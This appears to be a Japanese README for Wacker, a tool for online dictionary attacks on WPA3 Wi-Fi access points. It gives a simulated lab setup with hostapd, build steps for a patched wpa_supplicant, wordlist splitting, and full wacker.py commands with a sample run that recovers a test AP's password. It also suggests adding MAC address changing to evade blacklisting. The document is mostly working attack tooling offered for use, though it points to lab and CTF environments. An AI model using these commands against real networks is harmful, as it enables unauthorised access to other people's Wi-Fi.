
WPA3アクセスポイントに対してオンライン辞書攻撃を実行するためのスクリプトセットです。Wackerはwpa_supplicant制御インターフェースを活用し、サプリカントデーモンの操作、ステータス情報の取得、イベント通知の受信を行い、ブルートフォース試行中の接続試行を高速化します。
テスト用のWPA3 APが見つからない場合は、mac80211_hwsimを使用したローカル環境(詳細は以下)またはRF Hackers Sanctuary(scoreboard.rfhackers.com)が提供するVMを使用したセットアップを検討してください。
802.11無線機の独自ソフトウェアシミュレータをセットアップするには、適切なmac80211_hwsimモジュールを設定してロードします。
# modprobe mac80211_hwsim radios=4
# iwconfig
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan1 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan2 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan3 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
新しいインターフェースの1つをWPA3アクセスポイントとして選択し、次のconfファイルを使用します。
# cat hostapd.conf
interface=wlan0
ssid=WCTF_18
driver=nl80211
hw_mode=g
channel=1
logger_syslog=-1
logger_syslog_level=3
wpa=2
wpa_passphrase=Aeromechanics
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
ieee80211w=2
group_mgmt_cipher=AES-128-CMAC
そして、次のコマンドでhostapdを起動します。
# hostapd -K -dd hostapd.conf
クラッキング作業を複数のNICに分散させる場合は、提供されたsplit.shスクリプトがワードリストを分割します。
# ./split.sh 10 cyberpunk.words
50916 cyberpunk.words.aaa
50916 cyberpunk.words.aab
50916 cyberpunk.words.aac
50916 cyberpunk.words.aad
50916 cyberpunk.words.aae
50916 cyberpunk.words.aaf
50916 cyberpunk.words.aag
50916 cyberpunk.words.aah
50916 cyberpunk.words.aai
50907 cyberpunk.words.aaj
509151 total
特定の設定が確実に行われるように、またソースコード内に必要な修正を加えるために、独自のwpa_supplicantを提供しています。
# apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev
# cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
# git apply wpa_supplicant.patch
# cd wpa_supplicant-2.10/wpa_supplicant
# make -j4
# ls -al wpa_supplicant
-rwxr-xr-x 1 root root 13541416 May 31 16:30 wpa_supplicant
python3.6+が必要です
Wackerは、ターゲット選択が既に実行されているairodumpやkismetの補完ツールとして見なされるべきです。Wackerは意図的にwpa_supplicantのバックグラウンドスキャンを無効にし、認証試行を高速化します。
wacker.pyスクリプトはすべての負荷の高い処理を実行することを目的としており、ターゲットに関するいくつかの詳細が必要です。
# ./wacker.py --help
usage: wacker.py [-h] --wordlist WORDLIST --interface INTERFACE --bssid BSSID
--ssid SSID --freq FREQ [--start START_WORD] [--debug]
A WPA3 dictionary cracker. Must run as root!
optional arguments:
-h, --help show this help message and exit
--wordlist WORDLIST wordlist to use
--interface INTERFACE
interface to use
--bssid BSSID bssid of the target
--ssid SSID the ssid of the WPA3 AP
--freq FREQ frequency of the ap
--start START_WORD word to start with in the wordlist
--debug increase logging output
うまくいけば...1つのインスタンスだけで攻撃を実行:
# ./wacker.py --wordlist cyberpunk.words --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
Start time: 21 Aug 2020 07:40:11
Starting wpa_supplicant...
5795 / 509151 words (1.14%) : 79.41 words/sec : 0.020 hours lapsed : 1.76 hours to exhaust (21 Aug 2020 09:25:49)
Found the password: 'Aeromechanics'
Stop time: 21 Aug 2020 07:41:24
複数のwackerインスタンスの実行は、追加のNICがある場合に簡単です。ワードリストの分割を忘れないでください。
# ./wacker.py --wordlist cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aab --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aac --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan3 --freq 2412
wackerはかなり詳細にログを出力します。注目すべきファイルは/tmp/wacker/以下にあります。
wackerはターゲットWPA3 APによって設定されたACLを処理しません。つまり、現在のコードは常に同じMACアドレスを使用します。ターゲットAPが私たちのMACアドレスをブラックリストに登録した場合、スクリプトは真の認証失敗とブラックリストによる拒否を区別できません。つまり、正しいパスワードを失敗とみなしてしまいます。解決方法の一つは...速度低下を犠牲にしてmacchangerをソースに追加することです。
u631_3: WPA: AP group 0x10 network profile group 0x18; available group 0x10
u631_3: WPA: using GTK CCMP
u631_3: WPA: AP pairwise 0x10 network profile pairwise 0x18; available pairwise 0x10
u631_3: WPA: using PTK CCMP
u631_3: WPA: AP key_mgmt 0x400 network profile key_mgmt 0x400; available key_mgmt 0x400
u631_3: WPA: Failed to select authenticated key management type
u631_3: WPA: Failed to set WPA key management and encryption suites